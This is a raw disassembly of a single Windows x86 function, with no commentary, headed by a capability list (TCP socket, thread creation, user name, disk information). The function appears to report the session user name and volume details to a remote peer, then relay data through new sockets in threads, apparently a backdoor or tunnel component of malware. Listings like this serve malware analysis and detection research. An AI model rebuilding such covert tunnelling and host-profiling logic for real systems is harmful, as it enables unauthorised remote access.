Function at 0x401419
Capabilities:
Create tcp socket
Create thread
Get disk information
Get session user name
Get socket status
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff988
push ebx
push edi
push esi
push 0x14
lea eax, [ebp - 0x14]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x1c]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x20]
push eax
call fcn.00401b9f
push 0x320
lea eax, [ebp - 0x340]
push eax
call fcn.00401b9f
push 0x320
lea eax, [ebp - 0x660]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x66c]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x670]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x674]
push eax
call fcn.00401b9f
push 4
lea eax, [ebp - 0x678]
push eax
call fcn.00401b9f
push 4
push 0x3000
push 0x10000
push 0
call sub.kernel32.dll_VirtualAlloc
mov dword [ebp - 0x18], eax
push 0
push 1
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [ebp - 0x664], eax
push 0xa
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x340]
push eax
call fcn.00401bb6
test eax, eax
je 0x40183f
mov edi, dword [ebp - 0x18]
mov dword [edi], 0x100
push edi
lea eax, [edi + 0x52]
push eax
push 2
call sub.secur32.dll_GetUserNameExA
push 0x32
lea eax, [edi + 0x1c]
push eax
push 0x403075
call fcn.00401b18
mov word [edi + 0x4e], 1
mov byte [edi + 0x7b], 0
push 0
push 0
push 0
push 0
lea eax, [edi + 0x7c]
push eax
push 0
push 0
push 0
call sub.kernel32.dll_GetVolumeInformationA
push 0x32
lea eax, [edi + 0x4e]
push eax
push 0x32
push 0x403075
call fcn.004018bb
mov eax, dword [ebp - 0x18]
add eax, 0x1c
push 0
push 0x64
push eax
push dword [ebp - 0x340]
call fcn.004019d9
cmp dword [ebp - 0x20], 4
je 0x401601
push 0
push 0x3c
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp - 0x340]
call fcn.00401b65
lea eax, [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 0
jl 0x40183f
or eax, eax
jne 0x401601
cmp dword [ebp - 0x1c], 0
jne 0x40183f
cmp dword [ebp - 0x20], 0
jne 0x40183f
mov dword [ebp - 0x66c], 1
inc dword [ebp - 0x674]
cmp dword [ebp - 0x674], 2
je 0x40183f
mov dword [ebp - 0x678], 0
push 3
lea eax, [ebp - 0x678]
push eax
push 0x32
push 0x403075
call fcn.004018bb
push dword [ebp - 0x664]
push 3
lea eax, [ebp - 0x678]
push eax
push dword [ebp - 0x340]
call fcn.004019d9
jmp 0x401553
mov edi, dword [ebp - 0x18]
cmp dword [ebp - 0x1c], 0
jne 0x401614
cmp dword [ebp - 0x20], 4
jne 0x4017eb
cmp word [edi + 2], 0
jne 0x40167d
cmp byte [edi], 0xff
jne 0x40163a
cmp byte [edi + 1], 0xfe
jne 0x40163a
mov dword [ebp - 0x670], 1
jmp 0x40183f
cmp byte [edi], 0
jne 0x40164b
cmp byte [edi + 1], 0
jne 0x40164b
nop
jmp 0x4017e2
cmp byte [edi + 1], 0xc8
jae 0x4017e2
cmp byte [edi + 1], 0
jbe 0x4017e2
movzx ebx, byte [edi + 1]
cmp dword [ebp + ebx*4 - 0x340], 0
je 0x401678
mov dword [ebp + ebx*4 - 0x340], 0
jmp 0x4017e2
movzx ecx, word [edi + 2]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
push 0
push ecx
lea eax, [eax + edi + 4]
push eax
push dword [ebp - 0x340]
call sub.wsock32.dll_recv
test eax, eax
jle 0x40183f
mov dword [ebp - 0x674], 0
add dword [ebp - 0x1c], eax
mov ax, word [ebp - 0x1c]
cmp ax, word [edi + 2]
jne 0x4017e2
movzx eax, word [edi + 2]
push eax
lea eax, [edi + 4]
push eax
push 0x32
push 0x403075
call fcn.004018bb
movzx ebx, byte [edi + 1]
cmp word [edi], 0xffff
jne 0x4016e1
nop
jmp 0x4017db
cmp byte [edi], 0
jne 0x4017c4
push 0x10000
push 0
call sub.kernel32.dll_LocalAlloc
test eax, eax
je 0x40183f
mov esi, eax
push 0x180
push esi
push edi
call fcn.00401b18
lea eax, [ebp - 0x660]
mov dword [esi + 0x180], eax
mov dword [esi + 0x184], ebx
push 4
lea eax, [esi + 0x188]
push eax
lea eax, [ebp - 0x664]
push eax
call fcn.00401b18
lea eax, [ebp - 0x340]
mov dword [esi + 0x18c], eax
mov dword [esi + 0x190], esi
push 4
lea eax, [esi + 0x194]
push eax
lea eax, [ebp - 0x340]
push eax
call fcn.00401b18
cmp byte [esi + 7], 4
je 0x40176d
push 6
push 1
push 2
call sub.wsock32.dll_socket
jmp 0x401778
push 6
push 1
push 0x17
call sub.wsock32.dll_socket
mov dword [esi + 0x198], eax
mov dword [ebp + ebx*4 - 0x340], eax
mov dword [ebp - 0x668], 1
push 4
lea eax, [ebp - 0x668]
push eax
push 1
push 6
push dword [ebp + ebx*4 - 0x340]
call sub.wsock32.dll_setsockopt
push 0
push 0
push esi
push 0x40106e
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebp + ebx*4 - 0x660], eax
jmp 0x4017db
movzx eax, word [edi + 2]
push 0
push eax
lea eax, [edi + 4]
push eax
push dword [ebp + ebx*4 - 0x340]
call fcn.004019d9
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
jmp 0x40183a
mov eax, 4
sub eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
push 0
push eax
lea eax, [ecx + edi]
push eax
push dword [ebp - 0x340]
call sub.wsock32.dll_recv
test eax, eax
jle 0x40183f
mov dword [ebp - 0x66c], 1
mov dword [ebp - 0x674], 0
add dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jne 0x40183a
push 4
push dword [ebp - 0x18]
push 0x32
push 0x403075
call fcn.004018bb
jmp 0x401553
push 2
push dword [ebp - 0x340]
call sub.wsock32.dll_shutdown
push dword [ebp - 0x340]
call sub.wsock32.dll_closesocket
lea esi, [ebp - 0x340]
mov ebx, 0xc8
mov dword [esi], 0
add esi, 4
dec ebx
jne 0x401862
xor eax, eax
lea edi, [ebp - 0x660]
mov ecx, 0xc8
repe scasd eax, dword es:[edi]
jne 0x40186e
push dword [ebp - 0x664]
call sub.kernel32.dll_CloseHandle
push 0x8000
push 0
push dword [ebp - 0x18]
call sub.kernel32.dll_VirtualFree
cmp dword [ebp - 0x670], 1
jne 0x4018ae
call sub.wsock32.dll_WSACleanup
push 0
call sub.kernel32.dll_ExitThread
mov eax, dword [ebp - 0x66c]
pop esi
pop edi
pop ebx
leave
ret 8